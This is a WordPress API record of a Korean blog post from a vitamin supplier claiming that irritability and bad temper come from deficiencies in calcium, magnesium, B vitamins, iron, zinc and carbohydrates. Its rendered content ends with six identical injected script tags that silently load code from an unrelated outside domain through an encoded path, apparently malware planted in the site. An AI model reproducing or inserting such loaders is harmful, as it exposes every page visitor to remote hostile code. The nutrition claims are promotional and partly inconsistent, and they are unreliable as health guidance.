{"id":7884,"date":"2024-08-19T17:35:37","date_gmt":"2024-08-19T09:35:37","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7884"},"modified":"2025-02-06T09:30:59","modified_gmt":"2025-02-06T01:30:59","slug":"bad-temper-turns-out-to-be-a-lack-of-these-nutrients","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ko\/\ub098\uc05c-\uc131\uc9c8\uc740-\uc774\ub7ec\ud55c-\uc601\uc591\uc18c\uac00-\ubd80\uc871\ud55c-\uac83\uc73c\ub85c-\ubc1d\ud600\uc84c\/","title":{"rendered":"\ub098\uc05c \uc131\uc9c8\uc740 \uc774\ub7ec\ud55c \uc601\uc591\uc18c\uac00 \ubd80\uc871\ud55c \uac83\uc73c\ub85c \ubc1d\ud600\uc84c\uc2b5\ub2c8\ub2e4."},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-0035c40\" data-block-id=\"0035c40\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3726\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp\" width=\"806\" height=\"449\" alt=\"\ube44\ud0c0\ubbfc B12\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp 806w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-300x167.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-768x428.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-600x334.webp 600w\" sizes=\"(max-width: 806px) 100vw, 806px\" \/><\/figure><\/div>\n\n\n\n<p>\ub9ce\uc740 \uc0ac\ub78c\ub4e4\uc758 \uc758\uacac\uc5d0 \ub530\ub974\uba74 \uc131\uc9c8\uc740 \uc591\uc721\uacfc \uad00\ub828\uc774 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc0b4\ub2e4 \ubcf4\uba74 \ub9ce\uc740 \uc0ac\ub78c\uc774 \ubd80\uc815\uc801\uc778 \uac10\uc815\uc744 \ud1b5\uc81c\ud558\uc9c0 \ubabb\ud574 \ub3d9\ub8cc\ub098 \uce5c\uad6c\uc640 \uc5b4\uc6b8\ub9ac\uae30 \ud798\ub4e4\uc5b4\uc9c8 \ubfd0\ub9cc \uc544\ub2c8\ub77c \uac00\uc871 \uad6c\uc131\uc6d0\uc5d0\uac8c \ubd80\ub2f4\uac10\uc744 \uc8fc\uace0 \uae4a\uc740 \uc0c1\ucc98\ub97c \uc8fc\uae30\ub3c4 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc0ac\uc2e4, \ub300\ubd80\ubd84\uc758 \uacbd\uc6b0 \uc774\uac83\uc740 \uc804\uc801\uc73c\ub85c \uc790\uc2e0\uc758 \uc798\ubabb\uc774 \uc544\ub2c8\uba70, \ub300\ubd80\ubd84 \uc2dd\ub2e8\uc5d0 \ub2e4\uc74c\uacfc \uac19\uc740 \uc601\uc591\uc18c\uac00 \ubd80\uc871\ud558\uae30 \ub54c\ubb38\uc77c \uac00\ub2a5\uc131\uc774 \ub192\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uce7c\uc298\uacfc \ub9c8\uadf8\ub124\uc298<\/h2>\n\n\n\n<p>\uce7c\uc298\uc740 \ubf08\uc640 \uadfc\uc721 \uae30\ub2a5\uacfc \uad00\ub828\uc774 \uc788\ub294 \uac83\uc73c\ub85c \uc54c\ub824\uc838 \uc788\uc9c0\ub9cc, \uc2e0\uacbd\uacc4\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce60 \uc218 \uc788\ub2e4\uace0 \uc0dd\uac01\ub418\ub294 \uacbd\uc6b0\ub294 \ub4dc\ubb45\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uce7c\uc298 \uacb0\ud54d \ud658\uc790\uc758 \uacbd\uc6b0 \uc2e0\uacbd\uacc4\uac00 \uacfc\ub3c4\ud558\uac8c \ud765\ubd84\ub41c \uc0c1\ud0dc\uc785\ub2c8\ub2e4. \uce7c\uc298\uc774 \ubd80\uc871\ud55c \uc5b4\ub9b0\uc774\ub294 \uc26c\uc9c0 \uc54a\uace0 \uc6b8\uace0, \uc131\uc778\uc740 \uce7c\uc298\uc774 \ubd80\uc871\ud558\uace0, \uc9dc\uc99d\uc774 \ub098\uae30 \uc27d\uace0, \ud654\ub97c \ub0b4\uae30 \uc27d\uace0, \uc57d\uac04 \uc2e0\uacbd\uc99d\uc801\uc774\uace0, \uac10\uc815\uc744 \uc870\uc808\ud558\uae30 \uc5b4\ub835\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uce7c\uc298 \uacb0\ud54d\uc740 \ub610\ud55c \ubd88\uba74\uc99d\uc744 \uc545\ud654\uc2dc\ud0ac \uc218 \uc788\uc73c\uba70, \uc218\uba74 \ubd80\uc871\uc740 \uc885\uc885 \uc131\uc9c8\uc744 \ub098\uc058\uac8c \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub9c8\uadf8\ub124\uc298\uc740 \uc2a4\ud2b8\ub808\uc2a4 \ud574\uc18c\uc5d0 \ub3c4\uc6c0\uc774 \ub418\ub294 \ub610 \ub2e4\ub978 \ubbf8\ub124\ub784\uc785\ub2c8\ub2e4. \ub9c8\uadf8\ub124\uc298\uc774 \ud48d\ubd80\ud558\uba74 \uc2a4\ud2b8\ub808\uc2a4 \ud638\ub974\ubaac\uc758 \uacfc\uc789 \uc0dd\uc131\uc774 \uc904\uc5b4\ub4ed\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/cyanocobalamin\/\">\ube44\ud0c0\ubbfc B1<\/a><\/h2>\n\n\n\n<p>\ube44\ud0c0\ubbfc B1\uc740 \uc5d0\ub108\uc9c0 \ub300\uc0ac\uc5d0 \uad00\uc5ec\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ube44\ud0c0\ubbfc B1 \uacb0\ud54d\uc740 \ub9e4\uccb4\uc758 \ud569\uc131 \ubc0f \ub300\uc0ac \uc804\ub3c4\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\uace0 \uac01\uae30\ub97c \uc720\ubc1c\ud560 \uc218\uc788\uc744\ubfd0\ub9cc \uc544\ub2c8\ub77c \uc2ec\uc7a5\uc744 \ud3ec\ud568 \ud560 \uc218 \uc788\uc73c\uba70 \uc0ac\ub78c\ub4e4\uc744 \uc2ec\uc220 \uad82\uace0 \uc878\ub9ac\uace0 \uc57d\ud558\uace0 \uae34\uc7a5\ud558\uace0 \ubcc0\ub355\uc2a4\ub7fd\uac8c \ub9cc\ub4e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc54c\ucf54\uc62c\uc740 \ube44\ud0c0\ubbfc B1\uc758 \ud761\uc218\ub97c \ubc29\ud574 \ud560 \uc218 \uc788\uc73c\uba70, \uc74c\uc2dd\uc774 \ub108\ubb34 \ubbf8\uc138\ud558\uace0 \ud53c\uc784\uc57d\uc758 \uc7a5\uae30\uac04 \uc0ac\uc6a9\uacfc \ud568\uaed8 \ube44\ud0c0\ubbfc B1 \uacb0\ud54d\uc774 \ubc1c\uc0dd\ud560 \uac00\ub2a5\uc131\uc774 \ub354 \ub192\uc73c\uba70 \uc74c\uc2dd\uc744 \ub108\ubb34 \ubbf8\uc138\ud558\uac8c \uc608\ubc29\ud558\uace0 \uc74c\uc8fc\ub97c \ud53c\ud574\uc57c\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc778\uccb4\uc5d0 \ube44\ud0c0\ubbfc B1\uc774 \ubd80\uc871\ud558\uba74 \ud53c\uace4\ud558\uace0 \uc57d\ud574\uc9c0\uace0 \uc18c\ud654 \ubd88\ub7c9\ubfd0\ub9cc \uc544\ub2c8\ub77c \uc815\uc11c\uc801 \uc88c\uc808\uac10\uacfc \ubc18\uc751\uc774 \ub290\ub824\uc9d1\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ube44\ud0c0\ubbfc B6<\/h2>\n\n\n\n<p>\ube44\ud0c0\ubbfc B6\uc778 \ud53c\ub9ac\ub3c5\uc2e0 \uc5fc\uc0b0\uc5fc\uc740 \ud2b8\ub9bd\ud1a0\ud310, \ub2f9\ubd84, \uc5d0\uc2a4\ud2b8\ub85c\uac90 \ub300\uc0ac\uc5d0 \uad00\uc5ec\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc6d4\uacbd \uc804\uc5d0 \uacbd\uad6c \ud53c\uc784\uc57d\uc744 \ubcf5\uc6a9\ud558\ub294 \uc5ec\uc131\uc740 \uc12d\ucde8 \ubd80\uc871\uc73c\ub85c \uc778\ud574 \ud765\ubd84, \uacfc\ubc18\uc0ac \ubc0f \ub9d0\ucd08 \uc2e0\uacbd\uc5fc\uc774 \ubc1c\uc0dd\ud558\uae30 \uc27d\uace0 \ub450\ud1b5, \uacfc\ubbfc\uc131 \uc131\uc9c8, \uc878\uc74c, \uc27d\uac8c \ud765\ubd84, \uc2ec\uc9c0\uc5b4 \uc6b0\uc6b8\uc99d\uc73c\ub85c \uc774\uc5b4\uc9c8 \uc218\uc788\ub294 \ub4f1 \ube44\ud0c0\ubbfc B6\uc758 \ud544\uc694\uc131\uc774 \uc99d\uac00\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ube44\ud0c0\ubbfc B6\ub294 \uace1\ubb3c\uacfc \uc591\ubc30\ucd94\uc758 \uaecd\uc9c8\uc5d0 \ub354 \ub9ce\uc774 \ud568\uc720\ub418\uc5b4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ube44\ud0c0\ubbfc B6 \uacb0\ud54d\uc758 \uc99d\uc0c1 \uc911 \ud558\ub098\ub294 \uc6b0\uc6b8\uc99d \uacbd\ud5a5\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488-\uce74\ud14c\uace0\ub9ac\/vitamin-derivatives\/vitamin-b\/\">\ube44\ud0c0\ubbfc B12<\/a><\/h2>\n\n\n\n<p>\ube44\ud0c0\ubbfc B12\ub294 \uac04\uacfc \uc0b4\ucf54\uae30\uc5d0 \uac00\uc7a5 \ud48d\ubd80\ud558\uba70 \uacb0\ud54d \uc2dc \uc124\uc5fc, \uc124\uc0ac \ubc0f \uac70\ub300\uc801\uc544\uad6c\uc131 \ube48\ud608\uc744 \uc720\ubc1c\ud560 \uc218 \uc788\uc73c\uba70 \uc885\uc885 \ub9c8\ube44, \uc0ac\uc9c0 \uc6b4\ub3d9 \uc7a5\uc560 \ubc0f \uae30\ud0c0 \uc2e0\uacbd\ud559\uc801 \uc99d\uc0c1\uc774 \ub3d9\ubc18\ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc5ec\uc131\uc758 \uc7a5\uae30 \uacbd\uad6c \ud53c\uc784\uc57d \ubcf5\uc6a9\uacfc \ub0ae\uc740 \uc721\ub958 \uc12d\ucde8\ub294 \ube44\ud0c0\ubbfc B12 \uacb0\ud54d\uc744 \uc720\ubc1c\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ube44\ud0c0\ubbfc B12\uac00 \ubd80\uc871\ud558\uba74 \uc0ac\uace0\ub825 \uc800\ud558, \uacf5\uac04 \uc7a5\uc560 \ubc0f \uae30\ud0c0 \uc0c1\ud669\uc774 \ubc1c\uc0dd\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ub2c8\uc544\uc2e0 \uacb0\ud54d<\/h2>\n\n\n\n<p>\ube44\ud0c0\ubbfc B\uad70\uc758 \ub610 \ub2e4\ub978 \uc131\ubd84\uc778 \ub098\uc774\uc544\uc2e0 \ub610\ub294 \ub2c8\uc544\uc2e0\uc740 \uc2ec\ud558\uac8c \uacb0\ud54d\ub418\uba74 \uce58\ub9e4\uc640 \ud63c\ub780\uc744 \uc77c\uc73c\ud0ac \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ub2c8\uc544\uc2e0\uc740 \uccb4\ub0b4 \uc9c0\ubc29\uacfc \ud638\ub974\ubaac \ud569\uc131\uc5d0 \uad00\uc5ec\ud558\uba70 \uc2e0\uacbd\uacc4\uc5d0\ub3c4 \uc601\ud5a5\uc744 \ubbf8\uce69\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub2c8\uc544\uc2e0 \uacb0\ud54d\uc740 \ud53c\ub85c, \ubd88\uba74\uc99d, \uc6b0\uc6b8\uc99d, \ubb34\uad00\uc2ec \ubc0f \uae30\uc5b5\ub825 \uc800\ud558\ub85c \ub098\ud0c0\ub0a9\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc0ac\uc774\ub4dc\ub85c\ud398\ub2c8\uc544<\/h2>\n\n\n\n<p>\uc6d4\uacbd\uc774 \ube44\uc815\uc0c1\uc801\uc774\uac70\ub098 \uc6d4\uacbd\uc774 \ub354 \ub9ce\uac70\ub098\uc8fc\uae30\uac00 \uc9e7\uc740 \uc5ec\uc131\uc740 \uc6d4\uacbd\ud608\ub85c \uc778\ud55c \ub9c8\uadf8\ub124\uc298 \uc190\uc2e4\uc774 \ub354 \ub9ce\uc544 \ucca0\ubd84 \uacb0\ud54d\uc5d0 \uac78\ub9ac\uae30 \uc27d\uc2b5\ub2c8\ub2e4. \uc77c\ubd80 \uc5ec\uc131\uc740 \uace0\uae30\uc640 \uc2e0\uc120\ud55c \uc57c\ucc44\ub97c \uc88b\uc544\ud558\uc9c0 \uc54a\uace0 \uacfc\uc790\uc640 \ud328\uc2a4\ud2b8\ub9ac\ub97c \uc88b\uc544\ud558\uba70 \uc774\ub7ec\ud55c \ubd80\ubd84\uc801\uc778 \uc2dd\uc2b5\uad00\uc73c\ub85c \uc778\ud574 \ucca0\ubd84 \uc12d\ucde8\uac00 \ubd80\uc871\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucca0\ubd84 \uacb0\ud54d\uc740 \ub2e4\uc591\ud55c \ucca0\ubd84 \ud568\uc720 \ud6a8\uc18c\uc758 \ud65c\ub3d9\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\uace0 \uc801\ud608\uad6c \uc0c9\uc18c \ubc0f \ubbf8\uc624\uae00\ub85c\ube48 \ud615\uc131\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\uba70 \uc0ac\ub78c\ub4e4\uc744 \ubb34\uae30\ub825\ud558\uace0 \uc878\ub9ac\uace0 \uc57d\ud558\uac8c \ub9cc\ub4e4\uace0 \uc9d1\uc911\ub825 \ubd80\uc871, \uae30\uc5b5 \uc0c1\uc2e4, \uc815\uc11c\uc801 \ubd88\uc548\uc815, \uacfc\ubbfc\uc131, \ud765\ubd84 \ubc0f \uc6b8\uc74c, \ub0ae\uc740 \uc131\uc695\uc744 \uc720\ubc1c\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc544\uc5f0 \uacb0\ud54d<\/h2>\n\n\n\n<p>\uc544\uc5f0\uc740 \uc778\uccb4\uc5d0\uc11c 80\uac00\uc9c0 \uc774\uc0c1\uc758 \ud65c\ub3d9\uc5d0 \uad00\uc5ec\ud558\uace0 \ub2e8\ubc31\uc9c8\uacfc \ud575\uc0b0 \ud569\uc131\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\uba70 \uc0dd\uc2dd \uae30\uad00\uc5d0 \ud544\uc218\uc801\uc778 \ubbf8\ub7c9 \uc6d0\uc18c\uc774\uae30\ub3c4 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc544\uc5f0\uc740 \ub3d9\ubb3c\uc131 \uc2dd\ud488\uc5d0 \ud48d\ubd80\ud558\uac8c \ud568\uc720\ub418\uc5b4 \uc788\uc73c\uba70 \uc27d\uac8c \ud761\uc218\ub429\ub2c8\ub2e4. \uc2dd\ubb3c\uc131 \uc2dd\ud488\uc758 \uc544\uc5f0 \ud568\ub7c9\uc740 \ub3d9\ubb3c\uc131 \uc2dd\ud488\ubcf4\ub2e4 \ub0ae\uc73c\uba70 \uc140\ub8f0\ub85c\uc624\uc2a4\uc640 \ud53c\ud2f4\uc0b0\uc758 \uc874\uc7ac\uc5d0 \uc758\ud574 \ud761\uc218\uac00 \uc601\ud5a5\uc744 \ubc1b\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ubaa8\ub4e0 \uc885\ub958\uc758 \uc2dd\ud488\uc758 \uc544\uc5f0\uc740 \uc678\ubc30\uc5fd\uc5d0 \uc9d1\uc911\ub418\uc5b4 \uc788\uae30 \ub54c\ubb38\uc5d0 \ubc00\uc740 \ud48d\ubd80\ud558\uace0 \uac15\ub825\ud55c \ubd84\ub9d0\ub85c \uac00\uacf5\ub41c \ud6c4 78%\uc758 \uc544\uc5f0\uc744 \uc783\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc124\ud0d5\uc744 \uba39\uace0 \uc220\uc744 \ub9c8\uc2dc\uba74 \uc2e0\uccb4\uc758 \uc544\uc5f0 \uc18c\ube44\uac00 \uc99d\uac00 \ud560 \uc218 \uc788\uc73c\ubbc0\ub85c \ub3d9\ubb3c\uc131 \uc2dd\ud488\uc744 \uc88b\uc544\ud558\uc9c0 \uc54a\uace0 \uacfc\uc790\uc640 \ud328\uc2a4\ud2b8\ub9ac\ub97c \uc88b\uc544\ud558\uba70 \uc54c\ucf54\uc62c\uc5d0 \uc911\ub3c5 \ub41c \uc5ec\uc131\uc740 \uc544\uc5f0 \uacb0\ud54d\uc5d0 \uac78\ub9ac\uae30 \uc27d\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc544\uc5f0 \uacb0\ud54d\uc740 \uc0ac\ub78c\ub4e4\uc758 \uc131\uaca9 \ud589\ub3d9\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\uace0 \uc6b0\uc6b8\uc99d, \uc815\uc11c\uc801 \ubd88\uc548\uc815\uc744 \uc720\ubc1c \ud55c \ub2e4\uc74c \ubd80\ubd80\uc758 \uc815\uc0c1\uc801\uc778 \uc131\uc0dd\ud65c\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\uace0 \uac00\uc871 \ubd88\ud654\ub97c \uc77c\uc73c\ud0ac \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\ud0c4\uc218\ud654\ubb3c<\/h2>\n\n\n\n<p>\uc804\ubd84 \uc2a4\ud14c\uc774\ud06c\ub97c \ucda9\ubd84\ud788 \uba39\uc9c0 \uc54a\ub294 \uc0ac\ub78c\ub4e4\uc740 \uc885\uc885 \ubcc0\ub355\uc2a4\ub7fd\uace0 \uc778\ub0b4\uc2ec \ubd80\uc871, \uae30\uc5b5\ub825 \uc800\ud558, \uc6b0\uc6b8\uc99d \ubc0f \ubd88\uba74\uc99d\uc758 \ud2b9\uc131\uc744 \uac00\uc9c0\uace0 \uc788\uc2b5\ub2c8\ub2e4. \uc774\ub294 \ud0c4\uc218\ud654\ubb3c \uacf5\uae09\uc774 \ubd80\uc871\ud558\uba74 \uc2e0\uacbd\uacc4\uac00 \uc88b\uc544\ud558\ub294 \uc5d0\ub108\uc9c0\uc6d0\uc774 \ubd80\uc871\ud574\uc9c0\uae30 \ub54c\ubb38\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub530\ub77c\uc11c \ud1b5\uc81c\ud560 \uc218 \uc5c6\uc744 \uc815\ub3c4\ub85c \uc9dc\uc99d\uc774 \ub09c\ub2e4\uba74 \uc2dd\ub2e8\uc5d0 \uc601\uc591 \uade0\ud615\uc774 \ub9de\uc9c0 \uc54a\uc558\ub294\uc9c0, \ub2e4\uc591\ud55c \ud544\uc218 \uc601\uc591\uc18c\uac00 \ubd80\uc871\ud55c \uac83\uc740 \uc544\ub2cc\uc9c0 \ub418\ub3cc\uc544\ubcfc \ud544\uc694\uac00 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p><strong>\ube44\ud0c0\ubbfc B1 \uacf5\uae09\uc5c5\uccb4: www.backvita.com<br>\uc774\uba54\uc77c: info@backvita.com<br>\uc804\ud654 +86 (029) 8187 2325<\/strong><\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>In the opinion of many people, temper has something to do with upbringing. In life, many people can\u2019t control their negative emotions, not only make colleagues and friends feel difficult to get along with, but also make family members feel overwhelmed and even deeply hurt. In fact, for the most part, this is not entirely [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3726,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"Bad temper turns out to be a lack of these nutrients","_seopress_titles_desc":"Vitamin B1 deficiency, will affect the synthesis and metabolic conduction of the medium, not only can cause beriberi, but also can involve the heart, and make people grumpy, sleepy and weak, nervous, moody.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp",806,449,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-300x167.webp",300,167,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-768x428.webp",768,428,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp",806,449,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp",806,449,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp",806,449,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-600x334.webp",600,334,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Vitamin-B12-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>In the opinion of many people, temper has something to do with upbringing. In life, many people can\u2019t control their negative emotions, not only make colleagues and friends feel difficult to get along with, but also make family members feel overwhelmed and even deeply hurt. In fact, for the most part, this is not entirely their own fault, most likely due to a lack of the following nutrients in their diet. Calcium and magnesium Calcium is known to be related to bone and muscle function, but it is rarely thought that it may affect the nervous system. In people with&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ko\/category\/\uc5c5\uacc4-\ub3d9\ud5a5\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ko\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7884"}],"collection":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/comments?post=7884"}],"version-history":[{"count":7,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7884\/revisions"}],"predecessor-version":[{"id":9674,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7884\/revisions\/9674"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media\/3726"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media?parent=7884"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/categories?post=7884"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/tags?post=7884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}